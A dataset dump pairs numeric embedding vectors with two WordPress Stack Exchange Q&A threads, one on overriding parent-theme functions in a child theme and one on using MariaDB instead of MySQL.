0.047119140625, -0.03912353515625, -0.00787353515625, 0.01168060302734375, 0.01496124267578125, 0.0206756591796875, -0.00525665283203125, -0.0180816650390625, 0.0265045166015625, -0.03271484375, 0.0281219482421875, -0.016326904296875, 0.067626953125, -0.055755615234375, -0.001934051513671875, -0.01183319091796875, 0.034515380859375, -0.0186309814453125, 0.03997802734375, -0.01349639892578125, 0.01279449462890625, -0.0171966552734375, 0.045867919921875, -0.051727294921875, -0.02008056640625, -0.0127410888671875, -0.01403045654296875, 0.00046944618225097656, 0.03497314453125, 0.076171875, -0.032440185546875, 0.004146575927734375, 0.00958251953125, 0.0127410888671875, -0.0174560546875, 0.01715087890625, -0.060302734375, -0.0002071857452392578, 0.0087890625 ]
2586ae606eeb062e42fe668e50bf88aef4365dc7
Wordpress Stackexchange Q: Overriding core functions in child theme Is it good practice to use children functions.php to override parent core functions? Example in Storefront theme : Core function if ( ! function_exists( 'storefront_primary_navigation_wrapper' ) ) { /** * The primary navigation wrapper */ function storefront_primary_navigation_wrapper() { echo '<div class="storefront-primary-navigation"><div class="col-full">'; } } children functions.php function storefront_primary_navigation_wrapper() { // modified content; } A: Basically, that is what Child Themes are meant to be, you have the need to modify the theme, but you shouldn't do it directly on the theme since the updates will mess you up, instead, you do all your customizations and new features on your Child Theme so you will be alright. From codex. If you modify a theme directly and it is updated, then your modifications may be lost. By using a child theme you will ensure that your modifications are preserved. It's a good practice, to sum up.
Q: Overriding core functions in child theme Is it good practice to use children functions.php to override parent core functions? Example in Storefront theme : Core function if ( ! function_exists( 'storefront_primary_navigation_wrapper' ) ) { /** * The primary navigation wrapper */ function storefront_primary_navigation_wrapper() { echo '<div class="storefront-primary-navigation"><div class="col-full">'; } } children functions.php function storefront_primary_navigation_wrapper() { // modified content; } A: Basically, that is what Child Themes are meant to be, you have the need to modify the theme, but you shouldn't do it directly on the theme since the updates will mess you up, instead, you do all your customizations and new features on your Child Theme so you will be alright. From codex. If you modify a theme directly and it is updated, then your modifications may be lost. By using a child theme you will ensure that your modifications are preserved. It's a good practice, to sum up.
wordpress
{ "language": "en", "length": 151, "provenance": "stackexchange_00019.jsonl.gz:488775", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/312161" }
[ 0.049468994140625, -0.02105712890625, 0.00252532958984375, -0.04351806640625, 0.0001710653305053711, -0.0179443359375, 0.0172882080078125, -0.016265869140625, 0.00926971435546875, 0.0160369873046875, -0.007152557373046875, -0.01024627685546875, -0.0160980224609375, -0.030303955078125, -0.02679443359375, -0.038726806640625, 0.0307769775390625, -0.0181427001953125, 0.0181427001953125, -0.0029048919677734375, 0.0160980224609375, 0.021881103515625, 0.0019779205322265625, 0.07275390625, 0.06396484375, -0.12078857421875, 0.01503753662109375, -0.0105743408203125, 0.034027099609375, -0.00635528564453125, 0.0284881591796875, 0.0106353759765625, -0.00922393798828125, 0.020751953125, 0.0161895751953125, -0.06103515625, -0.013763427734375, 0.01525115966796875, 0.01174163818359375, -0.0032806396484375, 0.02508544921875, -0.0105743408203125, -0.029388427734375, 0.0203857421875, -0.031707763671875, -0.03680419921875, 0.002716064453125, -0.0261688232421875, -0.011749267578125, -0.01097869873046875, 0.05218505859375, 0.01287078857421875, 0.05743408203125, -0.01384735107421875, -0.01401519775390625, 0.01190185546875, -0.023468017578125, -0.014617919921875, 0.032806396484375, 0.0323486328125, -0.015655517578125, -0.022369384765625, 0.0124053955078125, -0.033111572265625, 0.0206756591796875, -0.042449951171875, -0.0218963623046875, 0.0266265869140625, -0.062255859375, 0.023651123046875, 0.08172607421875, -0.042510986328125, 0.00817108154296875, 0.001468658447265625, -0.00013375282287597656, -0.036651611328125, 0.01288604736328125, -0.014312744140625, 0.0138092041015625, 0.015899658203125, -0.034149169921875, -0.0086669921875, -0.0416259765625, -0.07080078125, 0.048675537109375, -0.018402099609375, -0.01441192626953125, 0.00848388671875, -0.03485107421875, -0.0239410400390625, -0.0309295654296875, -0.012542724609375, -0.044158935546875, -0.013702392578125, 0.0054931640625, -0.0277099609375, 0.05267333984375, 0.06005859375, -0.046661376953125, -0.017730712890625, 0.0357666015625, -0.055816650390625, 0.034027099609375, -0.038330078125, 0.008636474609375, 0.0750732421875, -0.0008978843688964844, 0.0292816162109375, 0.037933349609375, 0.01062774658203125, 0.0313720703125, 0.01849365234375, -0.0123748779296875, -0.04217529296875, -0.007266998291015625, 0.0170440673828125, -0.01030731201171875, -0.0165863037109375, 0.004695892333984375, -0.016082763671875, 0.0025386810302734375, 0.0288848876953125, -0.0052032470703125, -0.048828125, -0.0149383544921875, -0.0413818359375, -0.039886474609375, 0.0015687942504882812, 0.0296630859375, 0.031829833984375, -0.0469970703125, -0.021484375, 0.06036376953125, 0.028900146484375, 0.0175323486328125, -0.0308990478515625, 0.038116455078125, 0.0159912109375, 0.00838470458984375, -0.031951904296875, 0.049285888671875, -0.006500244140625, -0.02239990234375, 0.0301666259765625, 0.0186767578125, -0.004230499267578125, 0.0026454925537109375, 0.019805908203125, 0.0230865478515625, -0.0098114013671875, 0.040802001953125, -0.031768798828125, 0.01404571533203125, 0.0101318359375, -0.007366180419921875, 0.008148193359375, -0.0167999267578125, 0.0162811279296875, -0.01293182373046875, 0.003978729248046875, -0.028076171875, -0.048797607421875, -0.0008959770202636719, -0.047149658203125, -0.0743408203125, 0.052978515625, -0.02862548828125, 0.000988006591796875, 0.01629638671875, -0.03082275390625, 0.040771484375, -0.041534423828125, -0.06292724609375, 0.025360107421875, 0.027374267578125, 0.041290283203125, 0.002323150634765625, 0.02288818359375, 0.014862060546875, 0.006500244140625, -0.002399444580078125, -0.0419921875, 0.04913330078125, -0.01264190673828125, -0.051025390625, 0.008026123046875, -0.0299224853515625, 0.0262451171875, 0.05975341796875, 0.01161956787109375, -0.0361328125, -0.0232391357421875, -0.03582763671875, 0.022735595703125, 0.0031185150146484375, -0.042449951171875, 0.0175628662109375, -0.00768280029296875, -0.0023517608642578125, -0.0013380050659179688, -0.00238800048828125, 0.024810791015625, -0.0034236907958984375, -0.005992889404296875, -0.03375244140625, 0.0003829002380371094, -0.0214996337890625, 0.05059814453125, 0.038299560546875, 0.049896240234375, -0.007724761962890625, 0.0235443115234375, -0.01082611083984375, -0.030303955078125, -0.0208282470703125, 0.006511688232421875, -0.0095977783203125, 0.015716552734375, -0.0102996826171875, 0.007045745849609375, 0.00701904296875, 0.0018644332885742188, -0.007213592529296875, 0.021331787109375, 0.0419921875, 0.0089263916015625, -0.01245880126953125, -0.01337432861328125, 0.02374267578125, 0.0360107421875, -0.059112548828125, 0.004734039306640625, 0.033905029296875, 0.043609619140625, -0.035308837890625, -0.0261383056640625, -0.032958984375, -0.047882080078125, -0.0017948150634765625, 0.053009033203125, 0.023529052734375, 0.0567626953125, -0.010955810546875, 0.02294921875, 0.0440673828125, -0.033111572265625, 0.0033092498779296875, 0.011962890625, 0.0014657974243164062, 0.033935546875, 0.01898193359375, 0.00377655029296875, 0.0181884765625, -0.046295166015625, 0.00937652587890625, 0.035980224609375, -0.01506805419921875, -0.058197021484375, 0.01678466796875, -0.0078582763671875, 0.0284576416015625, -0.04296875, -0.05859375, 0.01061248779296875, 0.0255889892578125, 0.005107879638671875, 0.02154541015625, -0.0021533966064453125, -0.0288848876953125, -0.0021915435791015625, 0.0255126953125, -0.018402099609375, 0.008026123046875, 0.0389404296875, -0.0251312255859375, 0.01073455810546875, -0.0290985107421875, 0.004360198974609375, -0.019989013671875, 0.0231475830078125, 0.0046234130859375, 0.039459228515625, -0.0322265625, -0.0182342529296875, 0.031280517578125, 0.037445068359375, -0.033477783203125, 0.0008978843688964844, 0.037994384765625, 0.003940582275390625, 0.02935791015625, -0.0015869140625, -0.036163330078125, 0.06646728515625, -0.02813720703125, -0.0455322265625, 0.01253509521484375, -0.0171661376953125, 0.02142333984375, -0.0092620849609375, 0.043853759765625, 0.055145263671875, 0.0095062255859375, 0.004184722900390625, 0.0096588134765625, -0.00943756103515625, 0.034515380859375, 0.0038013458251953125, 0.01194000244140625, 0.0007457733154296875, -0.0092010498046875, 0.0202789306640625, 0.0364990234375, 0.0845947265625, -0.00940704345703125, -0.050323486328125, 0.004863739013671875, 0.0372314453125, -0.041717529296875, -0.0531005859375, -0.054107666015625, -0.0241546630859375, 0.00749969482421875, -0.0002551078796386719, 0.005069732666015625, 0.003131866455078125, 0.002593994140625, 0.024566650390625, 0.0137786865234375, -0.035369873046875, -0.05352783203125, -0.05560302734375, -0.0975341796875, -0.026641845703125, 0.0092620849609375, 0.0258636474609375, -0.0157928466796875, 0.03228759765625, -0.0021228790283203125, -0.03765869140625, -0.013702392578125, 0.0322265625, 0.00576019287109375, -0.005260467529296875, 0.00896453857421875, -0.0179901123046875, -0.0192413330078125, 0.0267181396484375, -0.030548095703125, -0.0105438232421875, -0.00373077392578125, -0.0301361083984375, -0.01241302490234375, 0.01175689697265625, 0.0023345947265625, 0.06488037109375, 0.023162841796875, 0.0141448974609375, 0.046539306640625, -0.023651123046875, -0.0689697265625, -0.005771636962890625, -0.08837890625, 0.025634765625, 0.0748291015625, -0.016357421875, -0.00814056396484375, -0.01477813720703125, 0.06683349609375, 0.0121307373046875, 0.0302276611328125, -0.00998687744140625, 0.053863525390625, 0.009033203125, 0.047210693359375, -0.069091796875, 0.0660400390625, 0.0037860870361328125, -0.003444671630859375, 0.01488494873046875, 0.0352783203125, 0.0084228515625, -0.01222991943359375, -0.047271728515625, -0.020751953125, 0.0199127197265625, -0.0169677734375, 0.032684326171875, -0.0260772705078125, -0.0015668869018554688, 0.001888275146484375, 0.068603515625, -0.0274810791015625, 0.0005207061767578125, 0.006443023681640625, -0.003803253173828125, -0.0253448486328125, 0.0188140869140625, -0.0855712890625, 0.00439453125, -0.02886962890625, -0.007358551025390625, -0.01119232177734375, -0.01520538330078125, 0.006862640380859375, 0.006744384765625, -0.0186614990234375, -0.027252197265625, 0.0209197998046875, 0.0269317626953125, -0.00518798828125, 0.01531982421875, -0.01558685302734375, 0.004337310791015625, 0.00551605224609375, -0.01219940185546875, -0.06781005859375, -0.0187225341796875, -0.0623779296875, 0.0950927734375, 0.05462646484375, -0.052734375, 0.0063323974609375, 0.058807373046875, 0.00928497314453125, 0.007099151611328125, 0.0018472671508789062, -0.00600433349609375, 0.023681640625, 0.014617919921875, 0.0028934478759765625, -0.0022716522216796875, -0.01348876953125, 0.0224456787109375, -0.039825439453125, 0.02252197265625, -0.005924224853515625, -0.030242919921875, 0.046600341796875, -0.049713134765625, -0.03973388671875, -0.0236358642578125, -0.041900634765625, 0.004520416259765625, -0.0235443115234375, 0.0029315948486328125, -0.02264404296875, -0.049591064453125, 0.018157958984375, 0.00292205810546875, -0.04083251953125, 0.018218994140625, 0.025482177734375, 0.0265045166015625, -0.0269622802734375, -0.0168609619140625, -0.01528167724609375, 0.0196075439453125, 0.0180816650390625, -0.03582763671875, -0.04522705078125, -0.025360107421875, -0.01525115966796875, -0.0029354095458984375, -0.0103759765625, -0.0052032470703125, 0.0684814453125, 0.0172882080078125, -0.0018091201782226562, -0.0047607421875, -0.01019287109375, 0.01396942138671875, -0.01947021484375, -0.0318603515625, 0.01480865478515625, -0.026763916015625, 0.020751953125, -0.0202178955078125, 0.05718994140625, -0.015228271484375, -0.01313018798828125, 0.00818634033203125, 0.014556884765625, 0.0307769775390625, 0.0210113525390625, -0.004085540771484375, -0.0011262893676757812, -0.016387939453125, 0.0209197998046875, -0.005889892578125, 0.050384521484375, -0.039459228515625, 0.046051025390625, 0.0055389404296875, -0.0073089599609375, -0.01788330078125, -0.005435943603515625, 0.044097900390625, 0.0148773193359375, -0.02191162109375, -0.0380859375, 0.00997161865234375, 0.037353515625, -0.0260772705078125, 0.01442718505859375, 0.030029296875, -0.03485107421875, -0.0140533447265625, -0.0305633544921875, -0.0248870849609375, -0.0212249755859375, -0.040130615234375, 0.00553131103515625, 0.0361328125, -0.044708251953125, -0.009002685546875, -0.0364990234375, 0.0237579345703125, -0.0579833984375, 0.007415771484375, -0.0195159912109375, -0.01079559326171875, 0.019195556640625, 0.02630615234375, -0.028228759765625, 0.060943603515625, -0.017852783203125, 0.08868408203125, 0.01142120361328125, -0.045166015625, 0.01285552978515625, 0.0277099609375, 0.021148681640625, 0.06396484375, -0.039093017578125, -0.0009646415710449219, -0.01526641845703125, 0.01038360595703125, -0.007076263427734375, -0.0270233154296875, 0.01092529296875, 0.01383209228515625, 0.006938934326171875, -0.007415771484375, -0.0183868408203125, 0.0236358642578125, -0.0158843994140625, 0.01383209228515625, -0.0158233642578125, -0.03875732421875, 0.005519866943359375, 0.02239990234375, -0.02960205078125, -0.020355224609375, 0.00494384765625, -0.057708740234375, -0.022216796875, -0.0289306640625, -0.01117706298828125, 0.037628173828125, -0.016876220703125, 0.017425537109375, -0.03656005859375, 0.00865936279296875, -0.010498046875, -0.00185394287109375, 0.0743408203125, 0.0221710205078125, -0.039642333984375, -0.0207672119140625, -0.037567138671875, -0.0301055908203125, -0.0645751953125, -0.04046630859375, -0.036285400390625, 0.0248565673828125, -0.0194854736328125, -0.00510406494140625, -0.02252197265625, -0.01464080810546875, -0.0167236328125, 0.0333251953125, 0.025390625, 0.0009794235229492188, -0.026123046875, 0.05560302734375, 0.0237579345703125, 0.0094146728515625, 0.003055572509765625, 0.018646240234375, -0.0030059814453125, -0.01031494140625, -0.006122589111328125, 0.00018596649169921875, -0.0017328262329101562, -0.021881103515625, 0.0161590576171875, 0.027008056640625, 0.0762939453125, 0.0036029815673828125, 0.061492919921875, -0.03515625, 0.00506591796875, -0.0285491943359375, 0.004058837890625, -0.092041015625, 0.03173828125, -0.01239776611328125, -0.0157623291015625, -0.01776123046875, -0.0074920654296875, -0.035186767578125, 0.0494384765625, 0.028656005859375, 0.01479339599609375, 0.00505828857421875, -0.09051513671875, 0.09222412109375, 0.08184814453125, -0.032135009765625, 0.03863525390625, -0.00841522216796875, -0.01227569580078125, 0.028594970703125, -0.0030727386474609375, -0.022186279296875, -0.01296234130859375, 0.05023193359375, 0.01021575927734375, 0.0051727294921875, 0.04534912109375, -0.00943756103515625, -0.030975341796875, 0.0555419921875, 0.039337158203125, -0.05865478515625, -0.0175323486328125, -0.00395965576171875, -0.0013246536254882812, -0.018524169921875, -0.01023101806640625, 0.0198974609375, 0.04931640625, -0.00518798828125, 0.0085601806640625, -0.0232086181640625, 0.00850677490234375, 0.0035953521728515625, 0.0110626220703125, -0.0066986083984375, 0.02398681640625, -0.00018548965454101562, -0.001430511474609375, -0.0185089111328125, -0.011474609375, 0.00954437255859375, -0.0235595703125, 0.02276611328125, -0.02337646484375, -0.02655029296875, -0.050689697265625, -0.0146331787109375, 0.018524169921875, -0.002346038818359375, 0.00972747802734375, -0.0238037109375, -0.00736236572265625, 0.050048828125, -0.053497314453125, 0.03472900390625, 0.01080322265625, -0.007457733154296875, -0.046478271484375, -0.029632568359375, 0.036285400390625, -0.0123291015625, -0.056182861328125, 0.0281219482421875, -0.043914794921875, -0.0281982421875, -0.00482940673828125, -0.0302886962890625, 0.034820556640625, -0.0027446746826171875, -0.0150909423828125, 0.013763427734375, 0.01229095458984375, 0.004703521728515625, -0.00921630859375, 0.05621337890625, -0.08355712890625, -0.050689697265625, 0.020111083984375, -0.029510498046875, -0.04534912109375, -0.0071258544921875, -0.05267333984375, 0.1199951171875, -0.01230621337890625, 0.034759521484375, 0.0301361083984375, 0.044158935546875, -0.038543701171875, 0.024444580078125, -0.0117340087890625, 0.043121337890625, 0.043426513671875, 0.03271484375, -0.0003597736358642578, -0.01229095458984375, 0.026123046875, 0.0312042236328125, -0.00571441650390625, -0.003887176513671875, -0.0115814208984375, -0.0130767822265625, 0.03143310546875, 0.04107666015625, 0.012176513671875, 0.0198822021484375, -0.0212249755859375, -0.033447265625, -0.01430511474609375, -0.0028629302978515625, 0.0306549072265625, -0.05047607421875, -0.02484130859375, -0.0010700225830078125, 0.01276397705078125, -0.0036678314208984375, 0.0077667236328125, -0.0022907257080078125, -0.05047607421875, 0.01024627685546875, 0.034820556640625, 0.01348114013671875, -0.00980377197265625, 0.0400390625, 0.0001468658447265625, -0.01081085205078125, -0.00980377197265625, -0.01386260986328125, 0.0202484130859375, -0.0176544189453125, 0.01103973388671875, 0.022216796875, 0.0200042724609375, -0.0098724365234375, 0.030120849609375, 0.0030727386474609375, 0.057647705078125, -0.0185546875, 0.01213836669921875, 0.036376953125, 0.0294342041015625, 0.0183868408203125, 0.03668212890625, 0.036285400390625, 0.02557373046875, -0.0235443115234375, 0.00750732421875, 0.0228118896484375, -0.01384735107421875, -0.0247344970703125, -0.030029296875, -0.01036834716796875, -0.0146331787109375, -0.01544189453125, -0.03759765625, -0.0309906005859375, 0.032135009765625, 0.0269775390625, 0.0123138427734375, 0.00749969482421875, -0.004947662353515625, -0.049163818359375, -0.0031528472900390625, -0.05401611328125, -0.0101776123046875, 0.0222320556640625, 0.0284881591796875, 0.03533935546875, -0.0006270408630371094, -0.0082550048828125, -0.0050506591796875, 0.0107421875, -0.0243072509765625, 0.0012950897216796875, -0.02191162109375, -0.0389404296875, 0.013946533203125, 0.032501220703125, 0.01308441162109375, 0.010894775390625, 0.0064239501953125, 0.029449462890625, 0.005664825439453125, -0.0005197525024414062, 0.04718017578125, -0.01030731201171875, 0.016845703125, -0.0279693603515625, 0.009429931640625, -0.00975799560546875, 0.0005574226379394531, -0.01129150390625, 0.025115966796875, 0.01062774658203125, 0.0012617111206054688, 0.031280517578125, 0.01169586181640625, -0.00411224365234375, 0.0174407958984375, 0.04132080078125, 0.06048583984375, 0.042205810546875, -0.045196533203125, -0.01180267333984375, 0.005626678466796875, -0.06268310546875, 0.03424072265625, 0.04888916015625, -0.0194091796875, -0.01039886474609375, -0.0231781005859375, -0.017181396484375, 0.012359619140625, 0.01528167724609375, -0.05206298828125, 0.0092315673828125, 0.031036376953125, -0.02294921875, 0.01416778564453125, 0.01335906982421875, 0.01099395751953125, 0.020599365234375, 0.0272369384765625, 0.044281005859375, -0.0186614990234375, 0.0261077880859375, 0.02459716796875, -0.00494384765625, -0.0093231201171875, 0.00608062744140625, 0.02154541015625, -0.05712890625, -0.0260772705078125, 0.0053863525390625, -0.09478759765625, -0.023773193359375, 0.036865234375, -0.044158935546875, 0.00791168212890625, 0.01107025146484375, 0.0185394287109375, -0.049896240234375, -0.01392364501953125, -0.02716064453125, -0.023101806640625, 0.006717681884765625, -0.0010690689086914062, 0.0033435821533203125, 0.005664825439453125, -0.001171112060546875, 0.0036163330078125, 0.04681396484375, -0.0178070068359375, 0.0011281967163085938, 0.00472259521484375, 0.00923919677734375, 0.030792236328125, 0.0021152496337890625, -0.053985595703125, -0.0367431640625, -0.016265869140625, 0.005878448486328125, -0.0186309814453125, 0.01806640625, -0.0006356239318847656, -0.05926513671875, 0.0609130859375, 0.07177734375, 0.0318603515625, -0.0501708984375, 0.01401519775390625, 0.06396484375, -0.0293426513671875, 0.08673095703125, -0.0100860595703125, -0.0189208984375, -0.0357666015625, -0.0003361701965332031, 0.01059722900390625, -0.0288848876953125, -0.02783203125, -0.03802490234375, 0.033538818359375, 0.062225341796875, 0.01560211181640625, -0.0704345703125, 0.050567626953125, -0.042449951171875, 0.049102783203125, 0.0063323974609375, 0.0259857177734375, -0.0199432373046875, -0.033477783203125, -0.0439453125, 0.00472259521484375, -0.038330078125, 0.0218353271484375, -0.016998291015625, 0.036407470703125, 0.054718017578125, -0.0299072265625, 0.039947509765625, 0.03369140625, 0.045806884765625, 0.0850830078125, -0.0190887451171875, -0.0511474609375, -0.0005750656127929688, -0.0272216796875, 0.037078857421875, 0.0250244140625, 0.0172271728515625, -0.039276123046875, -0.03912353515625, -0.0163116455078125, 0.01531219482421875, 0.025421142578125, -0.0165252685546875, -0.0177459716796875, 0.03057861328125, 0.0019006729125976562, -0.022308349609375, -0.0012035369873046875, 0.00360107421875, -0.020782470703125, 0.0360107421875, 0.005069732666015625, 0.00498199462890625, 0.0190887451171875, 0.03857421875, 0.00824737548828125, 0.0120391845703125, 0.0258941650390625, 0.0146636962890625, -0.0185699462890625, 0.0190887451171875, -0.0011854171752929688, -0.00371551513671875, 0.00177764892578125, -0.015472412109375, 0.054290771484375, 0.0301055908203125, -0.0450439453125, 0.01806640625, 0.023895263671875, 0.051361083984375, 0.0164031982421875, -0.015899658203125, -0.03350830078125, -0.0125579833984375, 0.0184173583984375, 0.0340576171875, -0.00402069091796875, -0.0140228271484375, -0.0640869140625, -0.02093505859375, 0.001712799072265625, 0.005825042724609375, 0.013580322265625, -0.0767822265625, 0.0179901123046875, 0.027862548828125, -0.0367431640625, -0.0005245208740234375, -0.010955810546875, -0.0533447265625, 0.00461578369140625, -0.04351806640625, -0.0311431884765625, -0.013427734375, -0.022552490234375, 0.07275390625, -0.03106689453125, 0.036529541015625, 0.01406097412109375, 0.01300048828125, 0.05316162109375, 0.039794921875, 0.01837158203125, 0.06549072265625, -0.06024169921875, -0.030975341796875, 0.0287322998046875, 0.0160675048828125, -0.007244110107421875, -0.0294036865234375, -0.006427764892578125, 0.0167694091796875, -0.0027217864990234375, 0.018157958984375, -0.00968170166015625, 0.07135009765625, 0.00513458251953125, 0.06878662109375, 0.0065765380859375, 0.077392578125, -0.00307464599609375, 0.039398193359375, 0.005130767822265625, -0.01146697998046875, 0.024322509765625, -0.01284027099609375, 0.00806427001953125, -0.019866943359375, -0.04644775390625, -0.030548095703125, -0.01373291015625, -0.0194854736328125, -0.0322265625, 0.0034542083740234375 ]
abeb2f0f3331eb818606cf5e8e650e162a256292
Wordpress Stackexchange Q: MariaDB as a backend database I know WordPress expects to use MySQL as it's database backend, but can I switch to using MariaDB instead? MariaDB is a fork of MySQL that includes a bunch of really nice improvements for management and has some great SQL language improvements. A: There is no problem. It's compatible. remember you need to install php-mysql library.
Q: MariaDB as a backend database I know WordPress expects to use MySQL as it's database backend, but can I switch to using MariaDB instead? MariaDB is a fork of MySQL that includes a bunch of really nice improvements for management and has some great SQL language improvements. A: There is no problem. It's compatible. remember you need to install php-mysql library. A: Right now the answer is "yes". The problem may begin when the difference between maria and mysql will be in sql syntax level in a way which prevents having compatibility between them. As both products do not live alone in the world and have to rely on 3rd party developer (like the developers of the php mysql module), I think that there is no chance that a major difference between the two on the "API" level will happen in the short to medium time frame. Most likely the differences between the two will continue to be in performance and admin side. A: Yes, you can use MariaDB. MariaDB is a drop-in replacement for MYSQL so compatibility is not an issue. WordPress even lists MariaDB as an option within the requirements on their website: We recommend servers running version 7.2 or greater of PHP and MySQL version 5.6 OR MariaDB version 10.0 or greater. Here is a resource from MariaDB on this topic https://mariadb.com/resources/blog/how-install-and-run-wordpress-mariadb.
wordpress
{ "language": "en", "length": 226, "provenance": "stackexchange_00019.jsonl.gz:488783", "question_score": "10", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/312186" }
[ 0.038970947265625, 0.014373779296875, -0.0273284912109375, -0.0242156982421875, 0.035369873046875, -0.034454345703125, 0.0245513916015625, -0.002002716064453125, 0.029327392578125, 0.046600341796875, 0.0052337646484375, -0.029937744140625, 0.04156494140625, -0.0245208740234375, -0.024139404296875, 0.0038852691650390625, 0.03717041015625, -0.02032470703125, 0.0006494522094726562, -0.0004684925079345703, -0.01776123046875, 0.0235595703125, 0.0110015869140625, -0.01239013671875, 0.03900146484375, -0.035400390625, 0.0163421630859375, -0.038299560546875, 0.046142578125, -0.0014638900756835938, 0.031158447265625, -0.00514984130859375, 0.046478271484375, -0.0131988525390625, 0.006641387939453125, 0.04351806640625, -0.006908416748046875, 0.006031036376953125, 0.00948333740234375, -0.0004265308380126953, 0.0183563232421875, -0.016204833984375, 0.0369873046875, 0.00830078125, 0.00699615478515625, -0.044921875, 0.042633056640625, -0.049407958984375, -0.017333984375, -0.060546875, 0.01163482666015625, 0.0156402587890625, 0.0308685302734375, 0.0052642822265625, 0.004825592041015625, 0.05303955078125, 0.032806396484375, -0.0147857666015625, 0.005519866943359375, 0.006732940673828125, -0.00931549072265625, 0.029815673828125, 0.01371002197265625, 0.00423431396484375, 0.0126190185546875, -0.0196685791015625, -0.00937652587890625, 0.04364013671875, 0.00689697265625, 0.00737762451171875, -0.0007562637329101562, -0.0218353271484375, -0.038848876953125, -0.0107574462890625, -0.03985595703125, 0.06085205078125, 0.0225982666015625, -0.0129241943359375, -0.0013666152954101562, 0.01531982421875, -0.0276947021484375, -0.006816864013671875, -0.07147216796875, -0.044464111328125, 0.0167388916015625, 0.00628662109375, -0.0216064453125, -0.01424407958984375, -0.039154052734375, -0.0311279296875, -0.00902557373046875, -0.031890869140625, -0.09527587890625, 0.035400390625, 0.0220184326171875, -0.017791748046875, -0.046539306640625, -0.048858642578125, -0.0024566650390625, 0.0008001327514648438, -0.007755279541015625, -0.00957489013671875, -0.0016450881958007812, -0.00395965576171875, 0.00678253173828125, -0.01113128662109375, -0.009033203125, -0.058319091796875, -0.0004322528839111328, 0.021575927734375, -0.03057861328125, 0.0006361007690429688, -0.0108489990234375, -0.03375244140625, -0.0222625732421875, 0.0362548828125, -0.0107421875, -0.021026611328125, -0.0124969482421875, -0.029449462890625, 0.008331298828125, 0.023345947265625, -0.01788330078125, -0.03564453125, 0.01235198974609375, -0.024810791015625, -0.02923583984375, 0.0189361572265625, -0.1021728515625, 0.08502197265625, 0.0030994415283203125, -0.0147857666015625, 0.03564453125, 0.03839111328125, -0.0340576171875, -0.0282135009765625, 0.02679443359375, 0.0163421630859375, 0.01201629638671875, 0.029022216796875, 0.03497314453125, -0.08447265625, -0.0654296875, 0.04766845703125, 0.01025390625, -0.020355224609375, 0.0276947021484375, 0.045074462890625, 0.0025920867919921875, 0.0102691650390625, 0.002811431884765625, 0.032684326171875, -0.034271240234375, 0.0242156982421875, 0.062164306640625, 0.0225067138671875, 0.00829315185546875, 0.00942230224609375, 0.0176849365234375, 0.045989990234375, -0.008056640625, 0.018096923828125, 0.0579833984375, 0.00864410400390625, 0.004833221435546875, -0.022552490234375, -0.03509521484375, -0.006114959716796875, 0.0239105224609375, -0.032135009765625, 0.030303955078125, 0.005016326904296875, 0.053680419921875, -0.02569580078125, 0.0037136077880859375, -0.004489898681640625, -0.0202789306640625, 0.04754638671875, 0.0287322998046875, 0.042816162109375, 0.023223876953125, -0.02783203125, 0.08258056640625, -0.0008630752563476562, -0.02874755859375, 0.03936767578125, 0.0015039443969726562, 0.06610107421875, 0.0277862548828125, 0.0227813720703125, -0.0203704833984375, -0.01535797119140625, -0.01461029052734375, 0.091796875, -0.0236968994140625, -0.0631103515625, -0.039337158203125, 0.0019512176513671875, -0.0251617431640625, -0.0240631103515625, 0.0318603515625, 0.0484619140625, -0.050628662109375, 0.01317596435546875, -0.134521484375, 0.049041748046875, -0.04443359375, 0.039703369140625, 0.004123687744140625, 0.0222320556640625, 0.0148468017578125, 0.021575927734375, -0.046295166015625, 0.0237579345703125, -0.02142333984375, 0.006744384765625, -0.0015697479248046875, 0.012115478515625, -0.0062255859375, 0.0157318115234375, -0.0169219970703125, 0.0047760009765625, -0.0209808349609375, 0.01551055908203125, 0.01068115234375, -0.029541015625, 0.0013523101806640625, -0.0143890380859375, -0.0011348724365234375, 0.003971099853515625, -0.014892578125, 0.03350830078125, -0.0435791015625, -0.032684326171875, -0.000579833984375, 0.0058746337890625, 0.02471923828125, -0.10382080078125, 0.023529052734375, 0.04522705078125, 0.038970947265625, -0.04278564453125, -0.0224761962890625, 0.0066070556640625, -0.01403045654296875, -0.0313720703125, 0.027618408203125, 0.0019388198852539062, -0.005229949951171875, 0.002796173095703125, -0.034210205078125, -0.019989013671875, 0.02386474609375, -0.0242156982421875, -0.0210113525390625, 0.03778076171875, 0.02435302734375, 0.0017671585083007812, 0.0252532958984375, 0.01413726806640625, -0.00426483154296875, 0.0140838623046875, -0.013397216796875, -0.0010614395141601562, -0.0166778564453125, 0.01267242431640625, 0.0400390625, 0.026702880859375, -0.00555419921875, -0.015045166015625, 0.018585205078125, 0.032501220703125, 0.0181427001953125, -0.01320648193359375, -0.00815582275390625, 0.050079345703125, -0.029144287109375, -0.0224151611328125, 0.0697021484375, 0.004543304443359375, -0.03363037109375, -0.022735595703125, -0.055511474609375, -0.00537872314453125, -0.00311279296875, -0.07525634765625, 0.0087890625, 0.0220947265625, -0.05010986328125, -0.007678985595703125, 0.0267333984375, 0.0186004638671875, -0.037200927734375, 0.02069091796875, -0.034088134765625, -0.006084442138671875, 0.0704345703125, 0.0311279296875, -0.017242431640625, 0.005401611328125, -0.0227508544921875, 0.006259918212890625, -0.0020961761474609375, -0.04095458984375, -0.00029277801513671875, 0.0080718994140625, 0.0191497802734375, 0.01320648193359375, 0.00301361083984375, -0.01192474365234375, -0.058258056640625, -0.060577392578125, 0.01055908203125, 0.0102996826171875, 0.00821685791015625, -0.015960693359375, -0.0113983154296875, 0.0309906005859375, -0.072265625, -0.050872802734375, -0.01568603515625, -0.004302978515625, -0.0165252685546875, 0.0014553070068359375, 0.003238677978515625, 0.0016927719116210938, -0.00047588348388671875, -0.00417327880859375, 0.01465606689453125, -0.016265869140625, -0.0684814453125, -0.0592041015625, -0.0849609375, -0.0394287109375, -0.01293182373046875, 0.0121917724609375, 0.0169677734375, 0.024688720703125, -0.0124359130859375, -0.08349609375, -0.037811279296875, -0.02081298828125, -0.0169525146484375, 0.003902435302734375, 0.01013946533203125, -0.031646728515625, -0.034912109375, -0.006183624267578125, 0.05401611328125, 0.0232696533203125, -0.0377197265625, 0.0247802734375, -0.01200103759765625, 0.0107421875, 0.000728607177734375, -0.0452880859375, 0.004062652587890625, 0.042999267578125, -0.012115478515625, -0.0260467529296875, -0.033203125, 0.0297393798828125, -0.033477783203125, -0.047576904296875, -0.0238189697265625, -0.006290435791015625, 